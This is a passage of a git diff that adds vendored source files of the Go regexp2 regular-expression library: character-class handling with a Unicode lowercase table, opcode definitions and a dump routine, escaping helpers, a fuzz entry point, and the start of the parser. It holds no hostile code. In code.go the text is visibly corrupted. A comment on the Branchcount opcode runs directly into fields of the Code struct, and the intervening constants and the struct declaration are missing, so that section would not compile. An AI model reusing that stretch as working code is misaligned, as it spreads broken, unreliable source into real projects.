+} + +func (c *CharSet) addDigit(ecma, negate bool, pattern string) { + if ecma { + if negate { + c.addRanges(NotECMADigitClass().ranges) + } else { + c.addRanges(ECMADigitClass().ranges) + } + } else { + c.addCategories(category{cat: "Nd", negate: negate}) + } +} + +func (c *CharSet) addChar(ch rune) { + c.addRange(ch, ch) +} + +func (c *CharSet) addSpace(ecma, re2, negate bool) { + if ecma { + if negate { + c.addRanges(NotECMASpaceClass().ranges) + } else { + c.addRanges(ECMASpaceClass().ranges) + } + } else if re2 { + if negate { + c.addRanges(NotRE2SpaceClass().ranges) + } else { + c.addRanges(RE2SpaceClass().ranges) + } + } else { + c.addCategories(category{cat: spaceCategoryText, negate: negate}) + } +} + +func (c *CharSet) addWord(ecma, negate bool) { + if ecma { + if negate { + c.addRanges(NotECMAWordClass().ranges) + } else { + c.addRanges(ECMAWordClass().ranges) + } + } else { + c.addCategories(category{cat: wordCategoryText, negate: negate}) + } +} + +// Add set ranges and categories into ours -- no deduping or anything +func (c *CharSet) addSet(set CharSet) { + if c.anything { + return + } + if set.anything { + c.makeAnything() + return + } + // just append here to prevent double-canon + c.ranges = append(c.ranges, set.ranges...) + c.addCategories(set.categories...) + c.canonicalize() +} + +func (c *CharSet) makeAnything() { + c.anything = true + c.categories = []category{} + c.ranges = AnyClass().ranges +} + +func (c *CharSet) addCategories(cats ...category) { + // don't add dupes and remove positive+negative + if c.anything { + // if we've had a previous positive+negative group then + // just return, we're as broad as we can get + return + } + + for _, ct := range cats { + found := false + for _, ct2 := range c.categories { + if ct.cat == ct2.cat { + if ct.negate != ct2.negate { + // oposite negations...this mean we just + // take us as anything and move on + c.makeAnything() + return + } + found = true + break + } + } + + if !found { + c.categories = append(c.categories, ct) + } + } +} + +// Merges new ranges to our own +func (c *CharSet) addRanges(ranges []singleRange) { + if c.anything { + return + } + c.ranges = append(c.ranges, ranges...) + c.canonicalize() +} + +// Merges everything but the new ranges into our own +func (c *CharSet) addNegativeRanges(ranges []singleRange) { + if c.anything { + return + } + + var hi rune + + // convert incoming ranges into opposites, assume they are in order + for _, r := range ranges { + if hi < r.first { + c.ranges = append(c.ranges, singleRange{hi, r.first - 1}) + } + hi = r.last + 1 + } + + if hi < utf8.MaxRune { + c.ranges = append(c.ranges, singleRange{hi, utf8.MaxRune}) + } + + c.canonicalize() +} + +func isValidUnicodeCat(catName string) bool { + _, ok := unicodeCategories[catName] + return ok +} + +func (c *CharSet) addCategory(categoryName string, negate, caseInsensitive bool, pattern string) { + if !isValidUnicodeCat(categoryName) { + // unknown unicode category, script, or property "blah" + panic(fmt.Errorf("Unknown unicode category, script, or property '%v'", categoryName)) + + } + + if caseInsensitive && (categoryName == "Ll" || categoryName == "Lu" || categoryName == "Lt") { + // when RegexOptions.IgnoreCase is specified then {Ll} {Lu} and {Lt} cases should all match + c.addCategories( + category{cat: "Ll", negate: negate}, + category{cat: "Lu", negate: negate}, + category{cat: "Lt", negate: negate}) + } + c.addCategories(category{cat: categoryName, negate: negate}) +} + +func (c *CharSet) addSubtraction(sub *CharSet) { + c.sub = sub +} + +func (c *CharSet) addRange(chMin, chMax rune) { + c.ranges = append(c.ranges, singleRange{first: chMin, last: chMax}) + c.canonicalize() +} + +func (c *CharSet) addNamedASCII(name string, negate bool) bool { + var rs []singleRange + + switch name { + case "alnum": + rs = []singleRange{singleRange{'0', '9'}, singleRange{'A', 'Z'}, singleRange{'a', 'z'}} + case "alpha": + rs = []singleRange{singleRange{'A', 'Z'}, singleRange{'a', 'z'}} + case "ascii": + rs = []singleRange{singleRange{0, 0x7f}} + case "blank": + rs = []singleRange{singleRange{'\t', '\t'}, singleRange{' ', ' '}} + case "cntrl": + rs = []singleRange{singleRange{0, 0x1f}, singleRange{0x7f, 0x7f}} + case "digit": + c.addDigit(false, negate, "") + case "graph": + rs = []singleRange{singleRange{'!', '~'}} + case "lower": + rs = []singleRange{singleRange{'a', 'z'}} + case "print": + rs = []singleRange{singleRange{' ', '~'}} + case "punct": //[!-/:-@[-`{-~] + rs = []singleRange{singleRange{'!', '/'}, singleRange{':', '@'}, singleRange{'[', '`'}, singleRange{'{', '~'}} + case "space": + c.addSpace(true, false, negate) + case "upper": + rs = []singleRange{singleRange{'A', 'Z'}} + case "word": + c.addWord(true, negate) + case "xdigit": + rs = []singleRange{singleRange{'0', '9'}, singleRange{'A', 'F'}, singleRange{'a', 'f'}} + default: + return false + } + + if len(rs) > 0 { + if negate { + c.addNegativeRanges(rs) + } else { + c.addRanges(rs) + } + } + + return true +} + +type singleRangeSorter []singleRange + +func (p singleRangeSorter) Len() int { return len(p) } +func (p singleRangeSorter) Less(i, j int) bool { return p[i].first < p[j].first } +func (p singleRangeSorter) Swap(i, j int) { p[i], p[j] = p[j], p[i] } + +// Logic to reduce a character class to a unique, sorted form. +func (c *CharSet) canonicalize() { + var i, j int + var last rune + + // + // Find and eliminate overlapping or abutting ranges + // + + if len(c.ranges) > 1 { + sort.Sort(singleRangeSorter(c.ranges)) + + done := false + + for i, j = 1, 0; ; i++ { + for last = c.ranges[j].last; ; i++ { + if i == len(c.ranges) || last == utf8.MaxRune { + done = true + break + } + + CurrentRange := c.ranges[i] + if CurrentRange.first > last+1 { + break + } + + if last < CurrentRange.last { + last = CurrentRange.last + } + } + + c.ranges[j] = singleRange{first: c.ranges[j].first, last: last} + + j++ + + if done { + break + } + + if j < i { + c.ranges[j] = c.ranges[i] + } + } + + c.ranges = append(c.ranges[:j], c.ranges[len(c.ranges):]...) + } +} + +// Adds to the class any lowercase versions of characters already +// in the class. Used for case-insensitivity. +func (c *CharSet) addLowercase() { + if c.anything { + return + } + toAdd := []singleRange{} + for i := 0; i < len(c.ranges); i++ { + r := c.ranges[i] + if r.first == r.last { + lower := unicode.ToLower(r.first) + c.ranges[i] = singleRange{first: lower, last: lower} + } else { + toAdd = append(toAdd, r) + } + } + + for _, r := range toAdd { + c.addLowercaseRange(r.first, r.last) + } + c.canonicalize() +} + +/************************************************************************** + Let U be the set of Unicode character values and let L be the lowercase + function, mapping from U to U. To perform case insensitive matching of + character sets, we need to be able to map an interval I in U, say + + I = [chMin, chMax] = { ch : chMin <= ch <= chMax } + + to a set A such that A contains L(I) and A is contained in the union of + I and L(I). + + The table below partitions U into intervals on which L is non-decreasing. + Thus, for any interval J = [a, b] contained in one of these intervals, + L(J) is contained in [L(a), L(b)]. + + It is also true that for any such J, [L(a), L(b)] is contained in the + union of J and L(J). This does not follow from L being non-decreasing on + these intervals. It follows from the nature of the L on each interval. + On each interval, L has one of the following forms: + + (1) L(ch) = constant (LowercaseSet) + (2) L(ch) = ch + offset (LowercaseAdd) + (3) L(ch) = ch | 1 (LowercaseBor) + (4) L(ch) = ch + (ch & 1) (LowercaseBad) + + It is easy to verify that for any of these forms [L(a), L(b)] is + contained in the union of [a, b] and L([a, b]). +***************************************************************************/ + +const ( + LowercaseSet = 0 // Set to arg. + LowercaseAdd = 1 // Add arg. + LowercaseBor = 2 // Bitwise or with 1. + LowercaseBad = 3 // Bitwise and with 1 and add original. +) + +type lcMap struct { + chMin, chMax rune + op, data int32 +} + +var lcTable = []lcMap{ + lcMap{'\u0041', '\u005A', LowercaseAdd, 32}, + lcMap{'\u00C0', '\u00DE', LowercaseAdd, 32}, + lcMap{'\u0100', '\u012E', LowercaseBor, 0}, + lcMap{'\u0130', '\u0130', LowercaseSet, 0x0069}, + lcMap{'\u0132', '\u0136', LowercaseBor, 0}, + lcMap{'\u0139', '\u0147', LowercaseBad, 0}, + lcMap{'\u014A', '\u0176', LowercaseBor, 0}, + lcMap{'\u0178', '\u0178', LowercaseSet, 0x00FF}, + lcMap{'\u0179', '\u017D', LowercaseBad, 0}, + lcMap{'\u0181', '\u0181', LowercaseSet, 0x0253}, + lcMap{'\u0182', '\u0184', LowercaseBor, 0}, + lcMap{'\u0186', '\u0186', LowercaseSet, 0x0254}, + lcMap{'\u0187', '\u0187', LowercaseSet, 0x0188}, + lcMap{'\u0189', '\u018A', LowercaseAdd, 205}, + lcMap{'\u018B', '\u018B', LowercaseSet, 0x018C}, + lcMap{'\u018E', '\u018E', LowercaseSet, 0x01DD}, + lcMap{'\u018F', '\u018F', LowercaseSet, 0x0259}, + lcMap{'\u0190', '\u0190', LowercaseSet, 0x025B}, + lcMap{'\u0191', '\u0191', LowercaseSet, 0x0192}, + lcMap{'\u0193', '\u0193', LowercaseSet, 0x0260}, + lcMap{'\u0194', '\u0194', LowercaseSet, 0x0263}, + lcMap{'\u0196', '\u0196', LowercaseSet, 0x0269}, + lcMap{'\u0197', '\u0197', LowercaseSet, 0x0268}, + lcMap{'\u0198', '\u0198', LowercaseSet, 0x0199}, + lcMap{'\u019C', '\u019C', LowercaseSet, 0x026F}, + lcMap{'\u019D', '\u019D', LowercaseSet, 0x0272}, + lcMap{'\u019F', '\u019F', LowercaseSet, 0x0275}, + lcMap{'\u01A0', '\u01A4', LowercaseBor, 0}, + lcMap{'\u01A7', '\u01A7', LowercaseSet, 0x01A8}, + lcMap{'\u01A9', '\u01A9', LowercaseSet, 0x0283}, + lcMap{'\u01AC', '\u01AC', LowercaseSet, 0x01AD}, + lcMap{'\u01AE', '\u01AE', LowercaseSet, 0x0288}, + lcMap{'\u01AF', '\u01AF', LowercaseSet, 0x01B0}, + lcMap{'\u01B1', '\u01B2', LowercaseAdd, 217}, + lcMap{'\u01B3', '\u01B5', LowercaseBad, 0}, + lcMap{'\u01B7', '\u01B7', LowercaseSet, 0x0292}, + lcMap{'\u01B8', '\u01B8', LowercaseSet, 0x01B9}, + lcMap{'\u01BC', '\u01BC', LowercaseSet, 0x01BD}, + lcMap{'\u01C4', '\u01C5', LowercaseSet, 0x01C6}, + lcMap{'\u01C7', '\u01C8', LowercaseSet, 0x01C9}, + lcMap{'\u01CA', '\u01CB', LowercaseSet, 0x01CC}, + lcMap{'\u01CD', '\u01DB', LowercaseBad, 0}, + lcMap{'\u01DE', '\u01EE', LowercaseBor, 0}, + lcMap{'\u01F1', '\u01F2', LowercaseSet, 0x01F3}, + lcMap{'\u01F4', '\u01F4', LowercaseSet, 0x01F5}, + lcMap{'\u01FA', '\u0216', LowercaseBor, 0}, + lcMap{'\u0386', '\u0386', LowercaseSet, 0x03AC}, + lcMap{'\u0388', '\u038A', LowercaseAdd, 37}, + lcMap{'\u038C', '\u038C', LowercaseSet, 0x03CC}, + lcMap{'\u038E', '\u038F', LowercaseAdd, 63}, + lcMap{'\u0391', '\u03AB', LowercaseAdd, 32}, + lcMap{'\u03E2', '\u03EE', LowercaseBor, 0}, + lcMap{'\u0401', '\u040F', LowercaseAdd, 80}, + lcMap{'\u0410', '\u042F', LowercaseAdd, 32}, + lcMap{'\u0460', '\u0480', LowercaseBor, 0}, + lcMap{'\u0490', '\u04BE', LowercaseBor, 0}, + lcMap{'\u04C1', '\u04C3', LowercaseBad, 0}, + lcMap{'\u04C7', '\u04C7', LowercaseSet, 0x04C8}, + lcMap{'\u04CB', '\u04CB', LowercaseSet, 0x04CC}, + lcMap{'\u04D0', '\u04EA', LowercaseBor, 0}, + lcMap{'\u04EE', '\u04F4', LowercaseBor, 0}, + lcMap{'\u04F8', '\u04F8', LowercaseSet, 0x04F9}, + lcMap{'\u0531', '\u0556', LowercaseAdd, 48}, + lcMap{'\u10A0', '\u10C5', LowercaseAdd, 48}, + lcMap{'\u1E00', '\u1EF8', LowercaseBor, 0}, + lcMap{'\u1F08', '\u1F0F', LowercaseAdd, -8}, + lcMap{'\u1F18', '\u1F1F', LowercaseAdd, -8}, + lcMap{'\u1F28', '\u1F2F', LowercaseAdd, -8}, + lcMap{'\u1F38', '\u1F3F', LowercaseAdd, -8}, + lcMap{'\u1F48', '\u1F4D', LowercaseAdd, -8}, + lcMap{'\u1F59', '\u1F59', LowercaseSet, 0x1F51}, + lcMap{'\u1F5B', '\u1F5B', LowercaseSet, 0x1F53}, + lcMap{'\u1F5D', '\u1F5D', LowercaseSet, 0x1F55}, + lcMap{'\u1F5F', '\u1F5F', LowercaseSet, 0x1F57}, + lcMap{'\u1F68', '\u1F6F', LowercaseAdd, -8}, + lcMap{'\u1F88', '\u1F8F', LowercaseAdd, -8}, + lcMap{'\u1F98', '\u1F9F', LowercaseAdd, -8}, + lcMap{'\u1FA8', '\u1FAF', LowercaseAdd, -8}, + lcMap{'\u1FB8', '\u1FB9', LowercaseAdd, -8}, + lcMap{'\u1FBA', '\u1FBB', LowercaseAdd, -74}, + lcMap{'\u1FBC', '\u1FBC', LowercaseSet, 0x1FB3}, + lcMap{'\u1FC8', '\u1FCB', LowercaseAdd, -86}, + lcMap{'\u1FCC', '\u1FCC', LowercaseSet, 0x1FC3}, + lcMap{'\u1FD8', '\u1FD9', LowercaseAdd, -8}, + lcMap{'\u1FDA', '\u1FDB', LowercaseAdd, -100}, + lcMap{'\u1FE8', '\u1FE9', LowercaseAdd, -8}, + lcMap{'\u1FEA', '\u1FEB', LowercaseAdd, -112}, + lcMap{'\u1FEC', '\u1FEC', LowercaseSet, 0x1FE5}, + lcMap{'\u1FF8', '\u1FF9', LowercaseAdd, -128}, + lcMap{'\u1FFA', '\u1FFB', LowercaseAdd, -126}, + lcMap{'\u1FFC', '\u1FFC', LowercaseSet, 0x1FF3}, + lcMap{'\u2160', '\u216F', LowercaseAdd, 16}, + lcMap{'\u24B6', '\u24D0', LowercaseAdd, 26}, + lcMap{'\uFF21', '\uFF3A', LowercaseAdd, 32}, +} + +func (c *CharSet) addLowercaseRange(chMin, chMax rune) { + var i, iMax, iMid int + var chMinT, chMaxT rune + var lc lcMap + + for i, iMax = 0, len(lcTable); i < iMax; { + iMid = (i + iMax) / 2 + if lcTable[iMid].chMax < chMin { + i = iMid + 1 + } else { + iMax = iMid + } + } + + for ; i < len(lcTable); i++ { + lc = lcTable[i] + if lc.chMin > chMax { + return + } + chMinT = lc.chMin + if chMinT < chMin { + chMinT = chMin + } + + chMaxT = lc.chMax + if chMaxT > chMax { + chMaxT = chMax + } + + switch lc.op { + case LowercaseSet: + chMinT = rune(lc.data) + chMaxT = rune(lc.data) + break + case LowercaseAdd: + chMinT += lc.data + chMaxT += lc.data + break + case LowercaseBor: + chMinT |= 1 + chMaxT |= 1 + break + case LowercaseBad: + chMinT += (chMinT & 1) + chMaxT += (chMaxT & 1) + break + } + + if chMinT < chMin || chMaxT > chMax { + c.addRange(chMinT, chMaxT) + } + } +} diff --git a/backend/vendor/github.com/dlclark/regexp2/syntax/code.go b/backend/vendor/github.com/dlclark/regexp2/syntax/code.go new file mode 100644 index 0000000..686e822 --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/syntax/code.go @@ -0,0 +1,274 @@ +package syntax + +import ( + "bytes" + "fmt" + "math" +) + +// similar to prog.go in the go regex package...also with comment 'may not belong in this package' + +// File provides operator constants for use by the Builder and the Machine. + +// Implementation notes: +// +// Regexps are built into RegexCodes, which contain an operation array, +// a string table, and some constants. +// +// Each operation is one of the codes below, followed by the integer +// operands specified for each op. +// +// Strings and sets are indices into a string table. + +type InstOp int + +const ( + // lef/back operands description + + Onerep InstOp = 0 // lef,back char,min,max a {n} + Notonerep = 1 // lef,back char,min,max .{n} + Setrep = 2 // lef,back set,min,max [\d]{n} + + Oneloop = 3 // lef,back char,min,max a {,n} + Notoneloop = 4 // lef,back char,min,max .{,n} + Setloop = 5 // lef,back set,min,max [\d]{,n} + + Onelazy = 6 // lef,back char,min,max a {,n}? + Notonelazy = 7 // lef,back char,min,max .{,n}? + Setlazy = 8 // lef,back set,min,max [\d]{,n}? + + One = 9 // lef char a + Notone = 10 // lef char [^a] + Set = 11 // lef set [a-z\s] \w \s \d + + Multi = 12 // lef string abcd + Ref = 13 // lef group \# + + Bol = 14 // ^ + Eol = 15 // $ + Boundary = 16 // \b + Nonboundary = 17 // \B + Beginning = 18 // \A + Start = 19 // \G + EndZ = 20 // \Z + End = 21 // \Z + + Nothing = 22 // Reject! + + // Primitive control structures + + Lazybranch = 23 // back jump straight first + Branchmark = 24 // back jump branch first for loop + Lazybranchmark = 25 // back jump straight first for loop + Nullcount = 26 // back val set counter, null mark + Setcount = 27 // back val set counter, make mark + Branchcount = 28 // back jump,limit branch++ if zero<=c impl group slots + Capsize int // number of impl group slots + FcPrefix *Prefix // the set of candidate first characters (may be null) + BmPrefix *BmPrefix // the fixed prefix string as a Boyer-Moore machine (may be null) + Anchors AnchorLoc // the set of zero-length start anchors (RegexFCD.Bol, etc) + RightToLeft bool // true if right to left +} + +func opcodeBacktracks(op InstOp) bool { + op &= Mask + + switch op { + case Oneloop, Notoneloop, Setloop, Onelazy, Notonelazy, Setlazy, Lazybranch, Branchmark, Lazybranchmark, + Nullcount, Setcount, Branchcount, Lazybranchcount, Setmark, Capturemark, Getmark, Setjump, Backjump, + Forejump, Goto: + return true + + default: + return false + } +} + +func opcodeSize(op InstOp) int { + op &= Mask + + switch op { + case Nothing, Bol, Eol, Boundary, Nonboundary, ECMABoundary, NonECMABoundary, Beginning, Start, EndZ, + End, Nullmark, Setmark, Getmark, Setjump, Backjump, Forejump, Stop: + return 1 + + case One, Notone, Multi, Ref, Testref, Goto, Nullcount, Setcount, Lazybranch, Branchmark, Lazybranchmark, + Prune, Set: + return 2 + + case Capturemark, Branchcount, Lazybranchcount, Onerep, Notonerep, Oneloop, Notoneloop, Onelazy, Notonelazy, + Setlazy, Setrep, Setloop: + return 3 + + default: + panic(fmt.Errorf("Unexpected op code: %v", op)) + } +} + +var codeStr = []string{ + "Onerep", "Notonerep", "Setrep", + "Oneloop", "Notoneloop", "Setloop", + "Onelazy", "Notonelazy", "Setlazy", + "One", "Notone", "Set", + "Multi", "Ref", + "Bol", "Eol", "Boundary", "Nonboundary", "Beginning", "Start", "EndZ", "End", + "Nothing", + "Lazybranch", "Branchmark", "Lazybranchmark", + "Nullcount", "Setcount", "Branchcount", "Lazybranchcount", + "Nullmark", "Setmark", "Capturemark", "Getmark", + "Setjump", "Backjump", "Forejump", "Testref", "Goto", + "Prune", "Stop", + "ECMABoundary", "NonECMABoundary", +} + +func operatorDescription(op InstOp) string { + desc := codeStr[op&Mask] + if (op & Ci) != 0 { + desc += "-Ci" + } + if (op & Rtl) != 0 { + desc += "-Rtl" + } + if (op & Back) != 0 { + desc += "-Back" + } + if (op & Back2) != 0 { + desc += "-Back2" + } + + return desc +} + +// OpcodeDescription is a humman readable string of the specific offset +func (c *Code) OpcodeDescription(offset int) string { + buf := &bytes.Buffer{} + + op := InstOp(c.Codes[offset]) + fmt.Fprintf(buf, "%06d ", offset) + + if opcodeBacktracks(op & Mask) { + buf.WriteString("*") + } else { + buf.WriteString(" ") + } + buf.WriteString(operatorDescription(op)) + buf.WriteString("(") + op &= Mask + + switch op { + case One, Notone, Onerep, Notonerep, Oneloop, Notoneloop, Onelazy, Notonelazy: + buf.WriteString("Ch = ") + buf.WriteString(CharDescription(rune(c.Codes[offset+1]))) + + case Set, Setrep, Setloop, Setlazy: + buf.WriteString("Set = ") + buf.WriteString(c.Sets[c.Codes[offset+1]].String()) + + case Multi: + fmt.Fprintf(buf, "String = %s", string(c.Strings[c.Codes[offset+1]])) + + case Ref, Testref: + fmt.Fprintf(buf, "Index = %d", c.Codes[offset+1]) + + case Capturemark: + fmt.Fprintf(buf, "Index = %d", c.Codes[offset+1]) + if c.Codes[offset+2] != -1 { + fmt.Fprintf(buf, ", Unindex = %d", c.Codes[offset+2]) + } + + case Nullcount, Setcount: + fmt.Fprintf(buf, "Value = %d", c.Codes[offset+1]) + + case Goto, Lazybranch, Branchmark, Lazybranchmark, Branchcount, Lazybranchcount: + fmt.Fprintf(buf, "Addr = %d", c.Codes[offset+1]) + } + + switch op { + case Onerep, Notonerep, Oneloop, Notoneloop, Onelazy, Notonelazy, Setrep, Setloop, Setlazy: + buf.WriteString(", Rep = ") + if c.Codes[offset+2] == math.MaxInt32 { + buf.WriteString("inf") + } else { + fmt.Fprintf(buf, "%d", c.Codes[offset+2]) + } + + case Branchcount, Lazybranchcount: + buf.WriteString(", Limit = ") + if c.Codes[offset+2] == math.MaxInt32 { + buf.WriteString("inf") + } else { + fmt.Fprintf(buf, "%d", c.Codes[offset+2]) + } + + } + + buf.WriteString(")") + + return buf.String() +} + +func (c *Code) Dump() string { + buf := &bytes.Buffer{} + + if c.RightToLeft { + fmt.Fprintln(buf, "Direction: right-to-left") + } else { + fmt.Fprintln(buf, "Direction: left-to-right") + } + if c.FcPrefix == nil { + fmt.Fprintln(buf, "Firstchars: n/a") + } else { + fmt.Fprintf(buf, "Firstchars: %v\n", c.FcPrefix.PrefixSet.String()) + } + + if c.BmPrefix == nil { + fmt.Fprintln(buf, "Prefix: n/a") + } else { + fmt.Fprintf(buf, "Prefix: %v\n", Escape(c.BmPrefix.String())) + } + + fmt.Fprintf(buf, "Anchors: %v\n", c.Anchors) + fmt.Fprintln(buf) + + if c.BmPrefix != nil { + fmt.Fprintln(buf, "BoyerMoore:") + fmt.Fprintln(buf, c.BmPrefix.Dump(" ")) + } + for i := 0; i < len(c.Codes); i += opcodeSize(InstOp(c.Codes[i])) { + fmt.Fprintln(buf, c.OpcodeDescription(i)) + } + + return buf.String() +} diff --git a/backend/vendor/github.com/dlclark/regexp2/syntax/escape.go b/backend/vendor/github.com/dlclark/regexp2/syntax/escape.go new file mode 100644 index 0000000..609df10 --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/syntax/escape.go @@ -0,0 +1,94 @@ +package syntax + +import ( + "bytes" + "strconv" + "strings" + "unicode" +) + +func Escape(input string) string { + b := &bytes.Buffer{} + for _, r := range input { + escape(b, r, false) + } + return b.String() +} + +const meta = `\.+*?()|[]{}^$# ` + +func escape(b *bytes.Buffer, r rune, force bool) { + if unicode.IsPrint(r) { + if strings.IndexRune(meta, r) >= 0 || force { + b.WriteRune('\\') + } + b.WriteRune(r) + return + } + + switch r { + case '\a': + b.WriteString(`\a`) + case '\f': + b.WriteString(`\f`) + case '\n': + b.WriteString(`\n`) + case '\r': + b.WriteString(`\r`) + case '\t': + b.WriteString(`\t`) + case '\v': + b.WriteString(`\v`) + default: + if r < 0x100 { + b.WriteString(`\x`) + s := strconv.FormatInt(int64(r), 16) + if len(s) == 1 { + b.WriteRune('0') + } + b.WriteString(s) + break + } + b.WriteString(`\u`) + b.WriteString(strconv.FormatInt(int64(r), 16)) + } +} + +func Unescape(input string) (string, error) { + idx := strings.IndexRune(input, '\\') + // no slashes means no unescape needed + if idx == -1 { + return input, nil + } + + buf := bytes.NewBufferString(input[:idx]) + // get the runes for the rest of the string -- we're going full parser scan on this + + p := parser{} + p.setPattern(input[idx+1:]) + for { + if p.rightMost() { + return "", p.getErr(ErrIllegalEndEscape) + } + r, err := p.scanCharEscape() + if err != nil { + return "", err + } + buf.WriteRune(r) + // are we done? + if p.rightMost() { + return buf.String(), nil + } + + r = p.moveRightGetChar() + for r != '\\' { + buf.WriteRune(r) + if p.rightMost() { + // we're done, no more slashes + return buf.String(), nil + } + // keep scanning until we get another slash + r = p.moveRightGetChar() + } + } +} diff --git a/backend/vendor/github.com/dlclark/regexp2/syntax/fuzz.go b/backend/vendor/github.com/dlclark/regexp2/syntax/fuzz.go new file mode 100644 index 0000000..ee86386 --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/syntax/fuzz.go @@ -0,0 +1,20 @@ +// +build gofuzz + +package syntax + +// Fuzz is the input point for go-fuzz +func Fuzz(data []byte) int { + sdata := string(data) + tree, err := Parse(sdata, RegexOptions(0)) + if err != nil { + return 0 + } + + // translate it to code + _, err = Write(tree) + if err != nil { + panic(err) + } + + return 1 +} diff --git a/backend/vendor/github.com/dlclark/regexp2/syntax/parser.go b/backend/vendor/github.com/dlclark/regexp2/syntax/parser.go new file mode 100644 index 0000000..4ff0aaa --- /dev/null +++ b/backend/vendor/github.com/dlclark/regexp2/syntax/parser.go @@ -0,0 +1,2262 @@ +package syntax + +import ( + "fmt" + "math" + "os" + "sort" + "strconv" + "unicode" +) + +type RegexOptions int32 + +const ( + IgnoreCase RegexOptions = 0x0001 // "i" + Multiline = 0x0002 // "m" + ExplicitCapture = 0x0004 // "n" + Compiled = 0x0008 // "c" + Singleline = 0x0010 // "s" + IgnorePatternWhitespace = 0x0020 // "x" + RightToLeft = 0x0040 // "r" + Debug = 0x0080 // "d" + ECMAScript = 0x0100 // "e" + RE2 = 0x0200 // RE2 compat mode + Unicode = 0x0400 // "u" +) + +func optionFromCode(ch rune) RegexOptions { + // case-insensitive + switch ch { + case 'i', 'I': + return IgnoreCase + case 'r', 'R': + return RightToLeft + case 'm', 'M': + return Multiline + case 'n', 'N': + return ExplicitCapture + case 's', 'S': + return Singleline + case 'x', 'X': + return IgnorePatternWhitespace + case 'd', 'D': + return Debug + case 'e', 'E': + return ECMAScript + case 'u', 'U': + return Unicode + default: + return 0 + } +} + +// An Error describes a failure to parse a regular expression +// and gives the offending expression. +type Error struct { + Code ErrorCode + Expr string + Args []interface{} +} + +func (e *Error) Error() string { + if len(e.Args) == 0 { + return "error parsing regexp: " + e.Code.String() + " in `" + e.Expr + "`" + } + return "error parsing regexp: " + fmt.Sprintf(e.Code.String(), e.Args...) + " in `" + e.Expr + "`" +} + +// An ErrorCode describes a failure to parse a regular expression. +type ErrorCode string + +const ( + // internal issue + ErrInternalError ErrorCode = "regexp/syntax: internal error" + // Parser errors + ErrUnterminatedComment = "unterminated comment" + ErrInvalidCharRange = "invalid character class range" + ErrInvalidRepeatSize = "invalid repeat count" + ErrInvalidUTF8 = "invalid UTF-8" + ErrCaptureGroupOutOfRange = "capture group number out of range" + ErrUnexpectedParen = "unexpected )" + ErrMissingParen = "missing closing )" + ErrMissingBrace = "missing closing }" + ErrInvalidRepeatOp = "invalid nested repetition operator" + ErrMissingRepeatArgument = "missing argument to repetition operator" + ErrConditionalExpression = "illegal conditional (?(...)) expression" + ErrTooManyAlternates = "too many | in (?()|)" + ErrUnrecognizedGrouping = "unrecognized grouping construct: (%v" + ErrInvalidGroupName = "invalid group name: group names must begin with a word character and have a matching terminator" + ErrCapNumNotZero = "capture number cannot be zero" + ErrUndefinedBackRef = "reference to undefined group number %v" + ErrUndefinedNameRef = "reference to undefined group name %v" + ErrAlternationCantCapture = "alternation conditions do not capture and cannot be named" + ErrAlternationCantHaveComment = "alternation conditions cannot be comments" + ErrMalformedReference = "(?(%v) ) malformed" + ErrUndefinedReference = "(?(%v) ) reference to undefined group" + ErrIllegalEndEscape = "illegal \\ at end of pattern" + ErrMalformedSlashP = "malformed \\p{X} character escape" + ErrIncompleteSlashP = "incomplete \\p{X} character escape" + ErrUnknownSlashP = "unknown unicode category, script, or property '%v'" + ErrUnrecognizedEscape = "unrecognized escape sequence \\%v" + ErrMissingControl = "missing control character" + ErrUnrecognizedControl = "unrecognized control character" + ErrTooFewHex = "insufficient hexadecimal digits" + ErrInvalidHex = "hex values may not be larger than 0x10FFFF" + ErrMalformedNameRef = "malformed \\k<...> named back reference" + ErrBadClassInCharRange = "cannot include class \\%v in character range" + ErrUnterminatedBracket = "unterminated [] set" + ErrSubtractionMustBeLast = "a subtraction must be the last element in a character class" + ErrReversedCharRange = "[%c-%c] range in reverse order" +) + +func (e ErrorCode) String() string { + return string(e) +} + +type parser struct { + stack *regexNode + group *regexNode + alternation *regexNode + concatenation *regexNode + unit *regexNode + + patternRaw string + pattern []rune + + currentPos int + specialCase *unicode.SpecialCase + + autocap int + capcount int + captop int + capsize int + + caps map[int]int + capnames map[string]int + + capnumlist []int + capnamelist []string + + options RegexOptions + optionsStack []RegexOptions + ignoreNextParen bool +} + +const ( + maxValueDiv10 int = math.MaxInt32 / 10 + maxValueMod10 = math.MaxInt32 % 10 +) + +// Parse converts a regex string into a parse tree +func Parse(re string, op RegexOptions) (*RegexTree, error) { + p := parser{ + options: op, + caps: make(map[int]int), + } + p.setPattern(re) + + if err := p.countCaptures(); err != nil { + return nil, err + } + + p.reset(op) + root, err := p.scanRegex() + + if err != nil { + return nil, err + } + tree := &RegexTree{ + root: root, + caps: p.caps, + capnumlist: p.capnumlist, + captop: p.captop, + Capnames: p.capnames, + Caplist: p.capnamelist, + options: op, + } + + if tree.options&Debug > 0 { + os.Stdout.WriteString(tree.Dump()) + } + + return tree, nil +} + +func (p *parser) setPattern(pattern string) { + p.patternRaw = pattern + p.pattern = make([]rune, 0, len(pattern)) + + //populate our rune array to handle utf8 encoding + for _, r := range pattern { + p.pattern = append(p.pattern, r) + } +} +func (p *parser) getErr(code ErrorCode, args ...interface{}) error { + return &Error{Code: code, Expr: p.patternRaw, Args: args} +} + +func (p *parser) noteCaptureSlot(i, pos int) { + if _, ok := p.caps[i]; !ok { + // the rhs of the hashtable isn't used in the parser + p.caps[i] = pos + p.capcount++ + + if p.captop <= i { + if i == math.MaxInt32 { + p.captop = i + } else { + p.captop = i + 1 + } + } + } +} + +func (p *parser) noteCaptureName(name string, pos int) { + if p.capnames == nil { + p.capnames = make(map[string]int) + } + + if _, ok := p.capnames[name]; !ok { + p.capnames[name] = pos + p.capnamelist = append(p.capnamelist, name) + } +} + +func (p *parser) assignNameSlots() { + if p.capnames != nil { + for _, name := range p.capnamelist { + for p.isCaptureSlot(p.autocap) { + p.autocap++ + } + pos := p.capnames[name] + p.capnames[name] = p.autocap + p.noteCaptureSlot(p.autocap, pos) + + p.autocap++ + } + } + + // if the caps array has at least one gap, construct the list of used slots + if p.capcount < p.captop { + p.capnumlist = make([]int, p.capcount) + i := 0 + + for k := range p.caps { + p.capnumlist[i] = k + i++ + } + + sort.Ints(p.capnumlist) + } + + // merge capsnumlist into capnamelist + if p.capnames != nil || p.capnumlist != nil { + var oldcapnamelist []string + var next int + var k int + + if p.capnames == nil { + oldcapnamelist = nil + p.capnames = make(map[string]int) + p.capnamelist = []string{} 